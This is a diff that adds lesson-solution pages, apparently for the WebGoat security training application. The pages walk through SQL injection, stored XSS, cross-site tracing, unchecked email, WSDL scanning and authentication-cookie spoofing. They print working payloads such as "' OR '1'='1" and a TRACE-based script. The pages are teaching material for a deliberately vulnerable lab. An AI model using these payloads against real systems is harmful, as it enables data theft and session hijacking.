b/main/project/WebContent/lesson_solutions/SqlNumericInjection.html new file mode 100644 index 000000000..b2cdc9750 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/SqlNumericInjection.html @@ -0,0 +1,715 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to Perform Numeric SQL Injection

+ +

 

+ +

Concept / +Topic To Teach:

+ + +

+SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. + +Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented. + +It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queiries, even if the threat of SQL injection has been prevented in some other manner.

+

 

+

General +Goal(s):

+ +

+The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed. + +

+ +

 

+ +

Solution:

+ +

 

+ +

+ +

 

+ +

The +application is taking your input and inserting it at the end of a pre-formed +SQL command.

+ +

Compound SQL +statements can be made by joining multiple tests with keywords like AND and OR. +Try appending a SQL statement that always resolves to true.

+ +

 

+ +

This is the +query: SELECT * FROM user_data WHERE userid = 101

+ +

 

+ +

What happens +if you insert 101 or 1=1?

+ +

 

+ +

+ +

Figure 1 Numeric SQL Injection

+ +

 

+ +

+ +

Figure 2 Lesson 17 Completed

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/filelist.xml b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/filelist.xml new file mode 100644 index 000000000..ce53b8ce8 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/filelist.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image001.png b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image001.png new file mode 100644 index 000000000..4876d330e Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image002.jpg b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image002.jpg new file mode 100644 index 000000000..11fa10d47 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image003.png b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image003.png new file mode 100644 index 000000000..272aa8b2b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image004.jpg b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image004.jpg new file mode 100644 index 000000000..38109d42f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image004.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image005.png b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image005.png new file mode 100644 index 000000000..f2868eb02 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image006.jpg b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image006.jpg new file mode 100644 index 000000000..eb31b8e72 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/image006.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/themedata.thmx b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SqlNumericInjection_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/SqlStringInjection.html b/main/project/WebContent/lesson_solutions/SqlStringInjection.html new file mode 100644 index 000000000..3b57def06 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/SqlStringInjection.html @@ -0,0 +1,715 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Perform String SQL Injection

+ +

 

+ +

Concept / +Topic To Teach:

+ + + +

SQL injection +attacks represent a serious threat to any database-driven site. The methods +behind an attack are easy to learn and the damage caused can range from +considerable to complete system compromise. Despite these risks, an incredible +number of systems on the internet are susceptible to this form of attack.
+
+Not only is it a threat easily instigated, it is also a threat that, with a +little common-sense and forethought, can easily be prevented.
+
+It is always good practice to sanitize all input data, especially data that +will used in OS command, scripts, and database queiries, even if the threat of +SQL injection has been prevented in some other manner.

+ +

 

+ +

General +Goal(s):

+ +

The form +below allows a user to view their credit card numbers. Try to inject an SQL +string that results in all the credit card numbers being displayed. Try the +user name of 'Smith'.

+ +

 

+ +

Solution:

+ +

 

+ +

Compared with +the previous lesson, there is now a string parameter and not an integer.

+ +

Strings must be +terminated with single quotes to have a valid SQL Query.

+ +

 

+ +

+ +

Figure 1 Lesson 18

+ +

 

+ +

The query +used in this lesson is: SELECT * FROM user_data WHERE last_name = 'Your Name'

+ +

 

+ +

Enter for the +last name value: Erwin' OR '1'='1

+ +

 

+ +

+ +

Figure 2 Lesson 18 Completed

+ +

 

+ +
+
+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/SqlStringInjection_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/SqlStringInjection_files/filelist.xml b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/filelist.xml new file mode 100644 index 000000000..fd0a8d509 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/filelist.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/SqlStringInjection_files/image001.png b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/image001.png new file mode 100644 index 000000000..030affe86 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/SqlStringInjection_files/image003.png b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/image003.png new file mode 100644 index 000000000..83342678d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/SqlStringInjection_files/image005.jpg b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/image005.jpg new file mode 100644 index 000000000..4154afc6a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/image005.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SqlStringInjection_files/image006.jpg b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/image006.jpg new file mode 100644 index 000000000..dbe7cb0ad Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/image006.jpg differ diff --git a/main/project/WebContent/lesson_solutions/SqlStringInjection_files/themedata.thmx b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/SqlStringInjection_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/StoredXSS_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/StoredXSS_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/StoredXSS_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/StoredXSS_files/filelist.xml b/main/project/WebContent/lesson_solutions/StoredXSS_files/filelist.xml new file mode 100644 index 000000000..a3cfc699b --- /dev/null +++ b/main/project/WebContent/lesson_solutions/StoredXSS_files/filelist.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/StoredXSS_files/image001.png b/main/project/WebContent/lesson_solutions/StoredXSS_files/image001.png new file mode 100644 index 000000000..1ad882b5f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/StoredXSS_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/StoredXSS_files/image003.png b/main/project/WebContent/lesson_solutions/StoredXSS_files/image003.png new file mode 100644 index 000000000..d44ec5c39 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/StoredXSS_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/StoredXSS_files/image005.png b/main/project/WebContent/lesson_solutions/StoredXSS_files/image005.png new file mode 100644 index 000000000..5a5d10342 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/StoredXSS_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/StoredXSS_files/image007.jpg b/main/project/WebContent/lesson_solutions/StoredXSS_files/image007.jpg new file mode 100644 index 000000000..ca84b8469 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/StoredXSS_files/image007.jpg differ diff --git a/main/project/WebContent/lesson_solutions/StoredXSS_files/image008.jpg b/main/project/WebContent/lesson_solutions/StoredXSS_files/image008.jpg new file mode 100644 index 000000000..8ece60e0a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/StoredXSS_files/image008.jpg differ diff --git a/main/project/WebContent/lesson_solutions/StoredXSS_files/image009.jpg b/main/project/WebContent/lesson_solutions/StoredXSS_files/image009.jpg new file mode 100644 index 000000000..c0313ee42 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/StoredXSS_files/image009.jpg differ diff --git a/main/project/WebContent/lesson_solutions/StoredXSS_files/themedata.thmx b/main/project/WebContent/lesson_solutions/StoredXSS_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/StoredXSS_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/StoredXss.html b/main/project/WebContent/lesson_solutions/StoredXss.html new file mode 100644 index 000000000..78fc547b2 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/StoredXss.html @@ -0,0 +1,705 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson Plan Title: How to Perform Stored Cross Site +Scripting (XSS)

+ +

 

+ +

Concept / Topic To Teach:

+ +

It is always a +good practice to scrub all inputs, especially those inputs that will later be +used as parameters to OS commands, scripts, and database queries. It is +particularly important for content that will be permanently stored somewhere. +Users should not be able to create message content that could cause another +user to load an undesirable page or undesirable content when the user's message +is retrieved.

+ +

 

+ +

General Goal(s):

+ +

The user +should be able to add message content that cause another user to load an +undesirable page or content.

+ +

 

+ +

+ +

Figure 1 Lesson 14

+ +

 

+ +

Solution:

+ +

 

+ +

Enter this: <script language=”javascript” +type=”text/javascript”>alert(‘Ha Ha Ha’);</script> in the message text +box.

+ +

+ +

Figure 2 Stored message

+ +

 

+ +

+ +

Figure 3 Lesson 14 Completed

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/ThreadSafetyProblem.html b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem.html new file mode 100644 index 000000000..462df8119 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem.html @@ -0,0 +1,670 @@ + + + + + + + + + + + + + + + + + + + +
+ +

 

+ +

Lesson +Plan Title: How to +Exploit Thread Safety Problems

+ +

 

+ +

Concept / +Topic To Teach:

+ +

Web +applications can handle many HTTP requests simultaneously. Developers often use +variables that are not thread safe.  Thread safety means that the fields +of an object or class always maintain a valid state when used concurrently by +multiple threads. It is often possible to exploit a concurrency bug by loading +the same page as another user at the exact same time.
+Because all threads share the same method area, and the method area is where +all class variables are stored, multiple threads can attempt to use the same +class variables concurrently.

+ +

 

+ +

General +Goal(s):

+ +

The user +should be able to exploit the concurrency error in the web application and view +login information for another user that is attempting the same function at the +same time.

+ +

 

+ +

This will +require the use of two browser windows.

+ +

 

+ +

+ +

Figure 1 Lesson 2

+ +

 

+ +

Solution:

+ +

 

+ +

Open a new +browser window by pressing CTRL-N. Position the window so that you see both +input fields. Enter user name “dave” in the left window and user name “jeff” in +the right window.

+ +

Click very +fast on the submit button in the right window and then in the left window.

+ +

 

+ +

+ +

Figure 2 2 Browser Windows

+ +

 

+ +

The result +should be that you receive the same data in both windows, even when using a +different user name!

+ +

+ +

Figure 3 Lesson 2 Completed

+ +

 

+ +

The root-cause +of this exploit is that the Java code uses a static variable for the user name. +When submitting twice, the same thread and hence the same static variable +containing the username of the first request will be used.

+ +

This is +obvious when examining the Java code:

+ +

 

+ +

private +static String currentUser;

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/filelist.xml b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/filelist.xml new file mode 100644 index 000000000..010502f71 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/filelist.xml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image001.png b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image001.png new file mode 100644 index 000000000..398af0841 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image002.jpg b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image002.jpg new file mode 100644 index 000000000..52526d118 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image003.png b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image003.png new file mode 100644 index 000000000..d22701fe3 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image004.jpg b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image004.jpg new file mode 100644 index 000000000..4b222b8f0 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image004.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image007.png b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image007.png new file mode 100644 index 000000000..8c9ea75b7 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image009.jpg b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image009.jpg new file mode 100644 index 000000000..6a1c67f50 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/image009.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/themedata.thmx b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ThreadSafetyProblem_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/TraceXSS.html b/main/project/WebContent/lesson_solutions/TraceXSS.html new file mode 100644 index 000000000..fff4a9aac --- /dev/null +++ b/main/project/WebContent/lesson_solutions/TraceXSS.html @@ -0,0 +1,685 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Perform Cross Site Tracing (XST) Attacks

+ +

 

+ +

Concept / +Topic To Teach:

+ +

It +is always a good practice to scrub all input, especially those inputs that will +later be used as parameters to OS commands, scripts, and database queries. It +is particularly important for content that will be permanently stored somewhere +in the application. Users should not be able to create message content that +could cause another user to load an undesireable page or undesireable content +when the user's message is retrieved.

+ +

 

+ +

General +Goal(s):

+ +

Tomcat is +configured to support the HTTP TRACE command. Your goal is to perform a Cross +Site Tracing (XST) attack.

+ +

 

+ +

Solution:

+ +

 

+ +

You need to +introduce a cross site trace attack. This can be realized by embedding the +following script in the three digit access code.

+ +

 

+ +

<script +type="text/javascript">if ( navigator.appName.indexOf("Microsoft") +!=-1) {var xmlHttp = new +ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", +"./", false); xmlHttp.send();str1=xmlHttp.responseText; while +(str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>"); +document.write(str1);}</script>

+ +

 

+ +

+ +

Figure 1 Lesson 15

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/TraceXSS_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/TraceXSS_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/TraceXSS_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/TraceXSS_files/filelist.xml b/main/project/WebContent/lesson_solutions/TraceXSS_files/filelist.xml new file mode 100644 index 000000000..90de9a7db --- /dev/null +++ b/main/project/WebContent/lesson_solutions/TraceXSS_files/filelist.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/TraceXSS_files/image001.png b/main/project/WebContent/lesson_solutions/TraceXSS_files/image001.png new file mode 100644 index 000000000..1a73bd667 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/TraceXSS_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/TraceXSS_files/image002.jpg b/main/project/WebContent/lesson_solutions/TraceXSS_files/image002.jpg new file mode 100644 index 000000000..fd3b3d48e Binary files /dev/null and b/main/project/WebContent/lesson_solutions/TraceXSS_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/TraceXSS_files/themedata.thmx b/main/project/WebContent/lesson_solutions/TraceXSS_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/TraceXSS_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/UncheckedEmail.html b/main/project/WebContent/lesson_solutions/UncheckedEmail.html new file mode 100644 index 000000000..c1aa214dd --- /dev/null +++ b/main/project/WebContent/lesson_solutions/UncheckedEmail.html @@ -0,0 +1,672 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson Plan Title: How to Exploit Unchecked Email

+ +

 

+ +

Concept / Topic To Teach:

+ +

It is always +a good practice to validate all inputs. Most sites allow non-authenticated users +to send e-mail to a 'friend'. This is a great mechanism for spammers to send +out email using your corporate mail server.

+ +

 

+ +

General Goal(s):

+ +

The user +should be able to send an obnoxious email message.

+ +

 

+ +

Solution:

+ +

Type a +malicious script like <script>alert(‘XSS’)</script> and click Send!

+ +

 

+ +

+ +

Figure 1 Lesson 5

+ +

 

+ +

 

+ +

 

+ +

+ +

Figure 2 Part 1 completed

+ +

 

+ +

The second +part of this lesson is to send a mail to a friend from OWASP. This can be +accomplished by intercepting the request with WebScarab and changing the hidden +field “to” from webgoat.admin@owasp.org +to bill.gates@microsoft.com

+ +

 

+ +

+ +

Figure 3 Change the variable to another e-mail +address

+ +

 

+ +

+ +

Figure 4 Lesson 5 Completed

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/UncheckedEmail_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/UncheckedEmail_files/filelist.xml b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/filelist.xml new file mode 100644 index 000000000..679895ff7 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/filelist.xml @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image001.png b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image001.png new file mode 100644 index 000000000..4c5655e62 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image002.jpg b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image002.jpg new file mode 100644 index 000000000..62a30cf94 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image003.png b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image003.png new file mode 100644 index 000000000..8fd3ad15c Binary files /dev/null and b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image004.jpg b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image004.jpg new file mode 100644 index 000000000..2a5943d8f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image004.jpg differ diff --git a/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image005.png b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image005.png new file mode 100644 index 000000000..861f3dc14 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image006.jpg b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image006.jpg new file mode 100644 index 000000000..fae87c128 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image006.jpg differ diff --git a/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image007.png b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image007.png new file mode 100644 index 000000000..46049533d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image008.jpg b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image008.jpg new file mode 100644 index 000000000..fe5aa8442 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/image008.jpg differ diff --git a/main/project/WebContent/lesson_solutions/UncheckedEmail_files/themedata.thmx b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/UncheckedEmail_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/WSDLScanning.html b/main/project/WebContent/lesson_solutions/WSDLScanning.html new file mode 100644 index 000000000..b4aeb478c --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WSDLScanning.html @@ -0,0 +1,724 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Perform WSDL Scanning

+ +

 

+ +

Concept / +Topic To Teach:

+ +

Web +Services communicate through the use of SOAP requests. These requests are +submitted to a web service in an attempt to execute a function defined in the +web service definition language (WSDL) file.

+ +

 

+ +

General +Goal(s):

+ +

This screen +is the API for a web service. Check the WSDL file for this web service and try +to get some customer credit numbers.

+ +

 

+ +

+ +

Figure 1 Lesson 22

+ +

 

+ +

Solution:

+ +

 

+ +

Open the WSDL +file in a new window. There is an operation getCreditCard.

+ +

 

+ +

+ +

 

+ +

Intercept the +request with WebScarab and change the parameter to getCreditCard

+ +

 

+ +

+ +

Figure 2 WebScarab raw request

+ +

 

+ +

+ +

Figure 3 Lesson 22 Completed

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/WSDLScanning_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/WSDLScanning_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WSDLScanning_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/WSDLScanning_files/filelist.xml b/main/project/WebContent/lesson_solutions/WSDLScanning_files/filelist.xml new file mode 100644 index 000000000..5f46ccf32 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WSDLScanning_files/filelist.xml @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/WSDLScanning_files/image001.png b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image001.png new file mode 100644 index 000000000..3268c9b0a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/WSDLScanning_files/image003.png b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image003.png new file mode 100644 index 000000000..25ea1988a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/WSDLScanning_files/image005.png b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image005.png new file mode 100644 index 000000000..63f42f9de Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/WSDLScanning_files/image007.png b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image007.png new file mode 100644 index 000000000..9ca7703d6 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/WSDLScanning_files/image009.jpg b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image009.jpg new file mode 100644 index 000000000..fb0e23ea9 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image009.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WSDLScanning_files/image010.jpg b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image010.jpg new file mode 100644 index 000000000..cb7259343 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image010.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WSDLScanning_files/image011.jpg b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image011.jpg new file mode 100644 index 000000000..300095af6 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image011.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WSDLScanning_files/image012.jpg b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image012.jpg new file mode 100644 index 000000000..2d00abf25 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WSDLScanning_files/image012.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WSDLScanning_files/themedata.thmx b/main/project/WebContent/lesson_solutions/WSDLScanning_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WSDLScanning_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie.html b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie.html new file mode 100644 index 000000000..1a7b454ee --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie.html @@ -0,0 +1,914 @@ + + + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Spoof an Authentication Cookie

+ +

 

+ +

Concept / Topic To Teach:

+ + + +

Many +applications will automatically log a user into their site if the right +authentication cookie is specified.   Some times the cookie values can be +guessed if the algorithm for generating the cookie can be obtained.  Some +times the cookies are left on the client machine and can be stolen by +exploiting another system vulnerability.  Some times the cookies maybe +intercepted using Cross site scripting.  This lesson tries to make the +student aware of authentication cookies and presents the student with a way to +defeat the cookie authentication method in this lesson.
+
+

+ + + +

General Goal(s):

+ +

The user +should be able to bypass the authentication check.

+ +

 

+ +

Solution:

+ +

 

+ +

Make sure +that you have “Show Cookies” enabled in WebGoat. And you need to disable the +feature “Inject know cookies into requests” in WebScarab otherwise WebScarab +will always inject your old cookie and not the new cookie.

+ +

 

+ +

+ +

Figure 1 Disable "Inject known cookies into +requests"

+ +

 

+ +

+ +

Figure 2 Logon with webgoat/webgoat

+ +

 

+ +

You can login +with webgoat/webgoat.

+ +

 

+ +

+ +

Figure 3 Logged on as webgoat

+ +

 

+ +

Hit +“Refresh”. This refresh will show our AuthCookie. And you are now authenticated +using this cookie and not with parameters like above.

+ +

 

+ +

+ +

 

+ +

There is a +new cookie called AuthCookie with values 65432ubphcfx. Logout and login with +aspect/aspect.

+ +

 

+ +

+ +

Figure 4 Logon as aspect/aspect

+ +

 

+ +

+ +

Figure 5 Logged on as aspect

+ +

 

